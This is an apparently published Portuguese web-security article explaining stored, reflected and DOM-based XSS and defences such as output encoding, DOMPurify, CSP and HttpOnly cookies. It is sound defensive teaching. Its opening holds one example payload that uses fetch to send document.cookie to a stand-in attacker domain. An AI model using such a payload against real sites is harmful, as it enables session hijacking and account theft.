Pular para o conteúdo
10 min de leitura

XSS na prática: os três tipos de Cross-Site Scripting e como se defender

Por Lucas Andrade ·

Stored, refletido e DOM-based: como o Cross-Site Scripting executa código no navegador da vítima e por que a defesa correta é o encoding de saída.

Neste artigo

Um fórum permite que qualquer usuário deixe um comentário, e o comentário aparece na página para todo mundo que a abre. Um visitante mal-intencionado escreve, no lugar do texto, algo como <script>fetch('https://malicioso.com?c='+document.cookie)</script>. O servidor guarda o comentário. A partir daí, toda vez que outra pessoa carrega aquela página — inclusive o administrador — o navegador dela encontra a tag <script>, não reconhece nenhuma diferença entre esse script e o código legítimo do site, e o executa. O cookie de sessão da vítima viaja para o servidor do atacante, que agora pode se passar por ela. Ninguém clicou em nada suspeito. A página era do site confiável de sempre. Isso é Cross-Site Scripting.

XSS é uma das falhas mais persistentes da web porque explora a base do modelo de segurança do navegador: o navegador confia no código que vem de uma origem. Se o atacante consegue fazer o seu conteúdo malicioso ser servido pela sua origem, ele herda toda a confiança que o usuário e o navegador depositam no seu site. Entender de onde o buraco vem, e por que a defesa correta fica num lugar contraintuitivo, é o que separa apagar incêndios de fechar a classe.

A raiz: dado que vira código no contexto errado#

A causa de todo XSS é a mesma: dado controlado pelo atacante acaba interpretado como código pelo navegador da vítima. Em algum ponto do fluxo, um texto que deveria ser exibido como conteúdo é inserido na página de uma forma que o navegador lê como marcação executável — uma tag <script>, um atributo onerror, uma URL javascript:. O navegador não tem como saber que aquele pedaço de HTML veio de um comentário hostil e não do seu template. Para ele, é tudo o mesmo documento, com os mesmos privilégios: acesso ao DOM, aos cookies não protegidos, ao armazenamento local, e a capacidade de fazer requisições em nome do usuário.

O impacto de um XSS bem-sucedido é amplo justamente porque o script roda com os privilégios da vítima na sua origem. Ele pode roubar o cookie de sessão e sequestrar a conta, registrar o que a vítima digita, exibir um formulário falso de login para capturar senha, executar ações administrativas se a vítima for admin, desfigurar a página, ou se propagar de perfil em perfil como um worm. Não é um problema cosmético; é execução de código arbitrário no cliente.

Tipo 1: XSS armazenado (stored)#

O XSS armazenado é o mais perigoso porque o payload é gravado de forma persistente no servidor — num comentário, num campo de perfil, no nome de um arquivo, numa mensagem — e servido depois para todos que visualizam aquele conteúdo. O atacante injeta uma vez e colhe vítimas continuamente, sem precisar entregar link nenhum. Foi o cenário do fórum que abriu este texto. Como atinge qualquer um que abra a página, incluindo moderadores e administradores, é o tipo com maior potencial de escalada: basta um admin abrir a página envenenada para o atacante herdar privilégios administrativos.

Tipo 2: XSS refletido (reflected)#

No XSS refletido, o payload não é armazenado — ele vai e volta na mesma requisição. Um parâmetro da URL, um campo de busca ou um cabeçalho é ecoado de volta na resposta sem tratamento. Se a página de resultados de busca escreve "Você buscou por: " seguido do termo cru, um atacante monta uma URL contendo o script no parâmetro de busca e a entrega à vítima por e-mail, mensagem ou link disfarçado. Quando a vítima clica, o servidor reflete o payload na resposta e o navegador o executa. Requer engenharia social para entregar o link, mas é trivial de explorar em massa e frequentemente usado em campanhas de phishing, porque o domínio na barra de endereço é o do site legítimo.

Tipo 3: XSS baseado em DOM#

O XSS baseado em DOM é o mais sutil porque a falha vive inteiramente no JavaScript do cliente — o payload pode nunca passar pelo servidor. Acontece quando o código do front-end pega dado de uma fonte controlável pelo usuário (a URL, location.hash, document.referrer, uma mensagem via postMessage) e o escreve num sink perigoso sem tratamento. O caso clássico é element.innerHTML = location.hash: se a URL contém marcação no fragmento, ela é inserida como HTML e executada. Como o servidor pode nunca ver o payload (o fragmento após # não é enviado ao servidor), defesas do lado do servidor não o pegam. A correção mora no cliente: não usar sinks perigosos com dado não confiável.

A defesa correta fica na saída, não na entrada#

O erro conceitual mais comum é achar que XSS se resolve "validando a entrada". Validação de entrada é útil e recomendada, mas não é a defesa primária contra XSS, e por um motivo preciso: se um caractere é perigoso depende do contexto onde ele será renderizado, e esse contexto só é conhecido na hora da saída. O mesmo texto pode ser inofensivo dentro de um parágrafo, perigoso dentro de um atributo HTML, e catastrófico dentro de um bloco de script. A defesa correta é o encoding de saída sensível ao contexto (output encoding): no momento de inserir o dado na página, você o codifica de acordo com o lugar exato onde ele vai — HTML, atributo, JavaScript ou URL têm regras de escape diferentes. Em contexto HTML, < vira &lt; e deixa de abrir tag; o navegador exibe o caractere em vez de interpretá-lo.

Frameworks modernos e as portas dos fundos#

A boa notícia é que frameworks modernos de front-end como React, Vue e Angular fazem output encoding por padrão. Quando você interpola uma variável no JSX ou num template, o framework escapa o conteúdo automaticamente, e por isso a maioria do código escrito neles é resistente a XSS sem esforço extra. A má notícia é que todos oferecem uma porta dos fundos para inserir HTML cru, e é exatamente ali que o XSS volta. Em React, dangerouslySetInnerHTML — o nome carrega o aviso — insere HTML sem escape. Em Vue, é a diretiva v-html. No DOM puro, é innerHTML, outerHTML, document.write e insertAdjacentHTML. Toda vez que uma dessas é alimentada com dado não confiável, o escape automático do framework é contornado e o buraco reabre. A regra prática: se você precisa dessas APIs, pare e pergunte se o dado é confiável; se vier de usuário, CMS ou terceiro, ele precisa passar por sanitização antes.

Sanitização para HTML rico#

Há casos legítimos em que você precisa renderizar HTML fornecido por usuário ou por um CMS — um editor de texto rico, por exemplo, produz negrito, links e listas. Nesses casos, escapar tudo destruiria a formatação desejada. A solução é sanitização com allowlist: uma biblioteca madura como o DOMPurify recebe o HTML e devolve uma versão que contém apenas as tags e atributos que você explicitamente permitiu, removendo <script>, manipuladores de evento como onclick, URLs javascript: e todo o resto do arsenal. O ponto crucial é allowlist, não denylist: você lista o que é permitido e descarta o resto, em vez de tentar listar tudo que é perigoso — porque a lista de coisas perigosas é infinita e criativa. Nunca escreva seu próprio sanitizador de HTML; a superfície de escape é grande demais e bibliotecas dedicadas existem justamente porque isso é difícil de acertar.

Content Security Policy como camada de profundidade#

Content Security Policy (CSP) é um cabeçalho HTTP que instrui o navegador sobre quais fontes de script são confiáveis, funcionando como uma rede de segurança caso um XSS escape das defesas anteriores. Uma CSP bem configurada, sem unsafe-inline e usando nonces ou hashes para autorizar apenas scripts específicos, faz o navegador recusar a execução de scripts injetados inline, mesmo que o payload chegue à página. Mas é essencial entender o papel: CSP é defesa em profundidade, não substituto do encoding. Ela reduz o impacto de um XSS, não impede que ele exista, e configurar CSP com unsafe-inline — o que muita gente faz para "não quebrar nada" — anula boa parte do benefício. A ordem de prioridade é clara: encoding de saída primeiro, sanitização onde precisa de HTML rico, CSP como última linha.

Cookies HttpOnly limitam o estrago#

Como boa parte dos ataques XSS mira o roubo de cookie de sessão, marcar esses cookies como HttpOnly os torna invisíveis para o JavaScript: um script injetado não consegue ler document.cookie para exfiltrá-los. Isso não impede o XSS nem todas as ações que um script pode fazer em nome da vítima, mas fecha o vetor mais direto de sequestro de sessão e é um piso que não custa nada adotar. Combinado com Secure e SameSite, é parte da higiene básica de qualquer cookie de autenticação.

Contextos de saída e por que um escape não serve para todos#

A parte mais subestimada do encoding é que ele é sensível ao contexto, e usar o escape errado para o lugar certo deixa o buraco aberto mesmo com a melhor das intenções. Escapar para HTML — transformar < e > em entidades — protege quando o dado é inserido no corpo de um elemento, mas não protege quando o dado vai dentro de um atributo sem aspas, onde um espaço já permite injetar um novo atributo como onmouseover. Dado inserido dentro de um bloco de JavaScript precisa de escape de JavaScript, não de HTML; dado que compõe uma URL precisa de codificação de URL e de validação do esquema, porque um href que aceita javascript: executa código ao clique mesmo sem nenhuma tag <script>. O mesmo caractere é inofensivo num contexto e uma arma em outro, e é por isso que a defesa não pode ser uma função única de "limpar" aplicada cedo — ela precisa ser a codificação certa aplicada no momento exato do render, quando o contexto de destino finalmente é conhecido. Frameworks modernos acertam isso porque sabem, na hora de interpolar, se você está num atributo, num texto ou numa URL; o perigo volta quando você contorna o framework e assume o encoding manualmente sem reproduzir essa consciência de contexto.

Mutação e os limites da confiança#

Um detalhe que engana até times experientes é o chamado XSS por mutação (mXSS), em que o HTML que parecia seguro é reescrito pelo próprio navegador ao ser inserido no DOM, ressurgindo como marcação executável. É a razão pela qual sanitização caseira é tão perigosa: você pode remover o que enxerga como perigoso e o navegador, ao normalizar a árvore, reconstruir um vetor que você não previu. Bibliotecas maduras de sanitização são atualizadas justamente para acompanhar essas peculiaridades de parsing, e é por isso que a regra "nunca escreva seu próprio sanitizador" não é preguiça, e sim reconhecimento honesto de que a superfície é grande demais para uma solução artesanal acompanhar.

Como testar e fechar a classe#

Testar XSS envolve tentar injetar payloads em cada campo que acaba renderizado — comentários, nomes, buscas, parâmetros de URL — e verificar se algum deles executa em vez de aparecer escapado. Scanners automatizados cobrem os casos óbvios; um pentest confirma campo por campo que a saída é sempre escapada no contexto certo e que nenhum sink perigoso recebe dado cru. A revisão de código procura os suspeitos de sempre: dangerouslySetInnerHTML, v-html, innerHTML, document.write, eval. Assim como na injeção de SQL, o objetivo não é caçar bugs de XSS um a um para sempre — é adotar uma disciplina (escape por padrão, sanitização deliberada onde HTML é necessário, sinks perigosos banidos) que torna a classe rara por construção. Um time que escapa a saída por reflexo e desconfia dos sinks perigosos comete XSS por acidente, não por padrão — e acidente é o que auditoria e testes pegam.

Leituras relacionadas

Nenhum comentário ainda

Seja o primeiro a comentar.

Deixe seu comentário

Entre com sua conta Canverly para comentar. Você pode usar a mesma conta em qualquer site da rede.

Entrar com Canverly